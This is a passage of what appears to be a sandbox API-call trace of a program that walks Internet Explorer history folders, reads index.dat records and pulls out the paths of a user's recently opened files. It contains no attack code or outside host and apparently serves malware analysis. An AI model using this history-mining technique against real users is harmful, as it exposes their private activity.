[0079.512] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.512] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.512] SetFilePointer (in: hFile=0x9c, lDistanceToMove=63104, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf680
[0079.512] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.512] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.512] SetFilePointer (in: hFile=0x9c, lDistanceToMove=63232, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf700
[0079.512] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.512] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.512] SetFilePointer (in: hFile=0x9c, lDistanceToMove=63360, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf780
[0079.513] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.513] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.513] SetFilePointer (in: hFile=0x9c, lDistanceToMove=63488, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf800
[0079.513] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.513] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.513] SetFilePointer (in: hFile=0x9c, lDistanceToMove=63616, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf880
[0079.513] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.513] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.513] SetFilePointer (in: hFile=0x9c, lDistanceToMove=63744, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf900
[0079.513] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.513] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.513] SetFilePointer (in: hFile=0x9c, lDistanceToMove=63872, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf980
[0079.513] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.513] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.513] SetFilePointer (in: hFile=0x9c, lDistanceToMove=64000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xfa00
[0079.513] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.513] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.513] SetFilePointer (in: hFile=0x9c, lDistanceToMove=64128, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xfa80
[0079.513] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.513] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.514] SetFilePointer (in: hFile=0x9c, lDistanceToMove=64256, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xfb00
[0079.514] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.514] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.514] SetFilePointer (in: hFile=0x9c, lDistanceToMove=64384, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xfb80
[0079.514] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.514] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.514] SetFilePointer (in: hFile=0x9c, lDistanceToMove=64512, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xfc00
[0079.514] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.514] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.514] SetFilePointer (in: hFile=0x9c, lDistanceToMove=64640, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xfc80
[0079.514] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.514] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.514] SetFilePointer (in: hFile=0x9c, lDistanceToMove=64768, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xfd00
[0079.514] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.514] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.514] SetFilePointer (in: hFile=0x9c, lDistanceToMove=64896, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xfd80
[0079.514] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.514] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.514] SetFilePointer (in: hFile=0x9c, lDistanceToMove=65024, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xfe00
[0079.514] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.515] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.515] SetFilePointer (in: hFile=0x9c, lDistanceToMove=65152, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xfe80
[0079.515] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.515] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.515] SetFilePointer (in: hFile=0x9c, lDistanceToMove=65280, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xff00
[0079.515] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.515] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.515] SetFilePointer (in: hFile=0x9c, lDistanceToMove=65408, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xff80
[0079.515] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.515] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.515] CloseHandle (hObject=0x9c) returned 1
[0079.515] FindNextFileW (in: hFindFile=0x1aea68, lpFindFileData=0x129910 | out: lpFindFileData=0x129910) returned 1
[0079.515] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5") returned 0x47
[0079.515] wcslen (_String="MSHist012017083120170901") returned 0x18
[0079.515] wcscpy (in: _Dest=0x129b60, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5"
[0079.515] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5") returned 0x47
[0079.515] wcscat (in: _Dest=0x129b60, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\"
[0079.515] wcscat (in: _Dest=0x129b60, _Source="MSHist012017083120170901" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017083120170901") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017083120170901"
[0079.515] wcscmp (_String1="MSHist012017083120170901", _String2="..") returned 1
[0079.515] wcscmp (_String1="MSHist012017083120170901", _String2=".") returned 1
[0079.515] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017083120170901") returned 0x60
[0079.516] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017083120170901") returned 0x60
[0079.516] wcslen (_String="*.*") returned 0x3
[0079.516] wcscpy (in: _Dest=0x128c8c, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017083120170901" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017083120170901") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017083120170901"
[0079.516] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017083120170901") returned 0x60
[0079.516] wcscat (in: _Dest=0x128c8c, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017083120170901\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017083120170901\\"
[0079.516] wcscat (in: _Dest=0x128c8c, _Source="*.*" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017083120170901\\*.*") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017083120170901\\*.*"
[0079.516] FindFirstFileW (in: lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017083120170901\\*.*", lpFindFileData=0x128f14 | out: lpFindFileData=0x128f14) returned 0x1aeaa8
[0079.516] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017083120170901") returned 0x60
[0079.516] wcslen (_String=".") returned 0x1
[0079.516] wcscpy (in: _Dest=0x129164, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017083120170901" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017083120170901") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017083120170901"
[0079.516] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017083120170901") returned 0x60
[0079.516] wcscat (in: _Dest=0x129164, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017083120170901\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017083120170901\\"
[0079.516] wcscat (in: _Dest=0x129164, _Source="." | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017083120170901\\.") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017083120170901\\."
[0079.516] wcscmp (_String1=".", _String2="..") returned -1
[0079.516] wcscmp (_String1=".", _String2=".") returned 0
[0079.516] _wcsicmp (_String1=".", _String2="index.dat") returned -59
[0079.516] FindNextFileW (in: hFindFile=0x1aeaa8, lpFindFileData=0x128f14 | out: lpFindFileData=0x128f14) returned 1
[0079.517] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017083120170901") returned 0x60
[0079.517] wcslen (_String="..") returned 0x2
[0079.517] wcscpy (in: _Dest=0x129164, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017083120170901" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017083120170901") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017083120170901"
[0079.517] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017083120170901") returned 0x60
[0079.517] wcscat (in: _Dest=0x129164, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017083120170901\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017083120170901\\"
[0079.517] wcscat (in: _Dest=0x129164, _Source=".." | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017083120170901\\..") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017083120170901\\.."
[0079.517] wcscmp (_String1="..", _String2="..") returned 0
[0079.517] _wcsicmp (_String1="..", _String2="index.dat") returned -59
[0079.517] FindNextFileW (in: hFindFile=0x1aeaa8, lpFindFileData=0x128f14 | out: lpFindFileData=0x128f14) returned 1
[0079.517] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017083120170901") returned 0x60
[0079.517] wcslen (_String="index.dat") returned 0x9
[0079.517] wcscpy (in: _Dest=0x129164, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017083120170901" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017083120170901") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017083120170901"
[0079.517] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017083120170901") returned 0x60
[0079.517] wcscat (in: _Dest=0x129164, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017083120170901\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017083120170901\\"
[0079.517] wcscat (in: _Dest=0x129164, _Source="index.dat" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017083120170901\\index.dat") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017083120170901\\index.dat"
[0079.517] _wcsicmp (_String1="index.dat", _String2="index.dat") returned 0
[0079.517] CreateFileW (lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017083120170901\\index.dat" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\mshist012017083120170901\\index.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa0
[0079.517] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
[0079.517] ReadFile (in: hFile=0xa0, lpBuffer=0x128be4, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x1228ac, lpOverlapped=0x0 | out: lpBuffer=0x128be4*, lpNumberOfBytesRead=0x1228ac*=0x20, lpOverlapped=0x0) returned 1
[0079.518] GetFileSize (in: hFile=0xa0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x10000
[0079.519] SetFilePointer (in: hFile=0xa0, lDistanceToMove=20480, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5000
[0079.519] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.519] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.519] SetFilePointer (in: hFile=0xa0, lDistanceToMove=20480, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5000
[0079.519] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.519] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/8mDa7EUxWIFuAV/_ZrIQiqZdCdzwkR/UZGUWO.png" | out: _Str="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png") returned="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png"
[0079.519] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png") returned 79
[0079.519] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveyd~1/desktop/49343.doc") returned -1
[0079.519] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/xsdx_zrd.docx") returned 1
[0079.519] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/desktop/qu0oigomb7ap.gif") returned 1
[0079.519] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/qqujwic.doc") returned 1
[0079.519] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/desktop/3jbbrdk5kxyke.jpg") returned 1
[0079.519] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/documents/swpar5ukzey.xls") returned 1
[0079.519] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/documents/joje0p8bocqgjp%20o6.pps") returned 1
[0079.519] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/documents/yz5je7_%203.pps") returned 1
[0079.519] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/desktop/encwj2/qtvvz.ots") returned 1
[0079.519] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/appdata/roaming/l9uj7p%20fba_9_y.ppt") returned 1
[0079.519] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/appdata/roaming/ckllfrri-zjdkcmsae.gif") returned 1
[0079.519] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/pictures/qk7rbutispvizu7iod.gif") returned -1
[0079.519] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/appdata/roaming/_1x3x.png") returned 1
[0079.519] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/mfotgb5shny.gif") returned 1
[0079.520] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/k4k5n.flv") returned -1
[0079.520] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/appdata/roaming/r2ojuqwylgit6.ots") returned 1
[0079.520] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/documents/_odawwkfl1ra.docx") returned 1
[0079.520] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/documents/rnndlhlyrgwupi.xlsx") returned 1
[0079.520] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/appdata/roaming/iifn4u9wweiqmdcl9.bmp") returned 1
[0079.520] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/documents/pim74emk.xlsx") returned 1
[0079.520] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/documents/tnxw0vods.docx") returned 1
[0079.520] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf") returned 1
[0079.520] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/desktop/olxk.ots") returned 1
[0079.520] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/pictures/ec0l%20bsovag9a8ny6n.bmp") returned -1
[0079.520] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/pan9h-9jw%20sz4.doc") returned 1
[0079.520] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/appdata/roaming/s0hxf5vbqg3tuou7yaih.png") returned 1
[0079.520] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/pictures/_vv7923nmd.gif") returned -1
[0079.520] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/documents/t5_cs_ek5wgumutxo.odp") returned 1
[0079.520] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/videos/wfg.mkv") returned -1
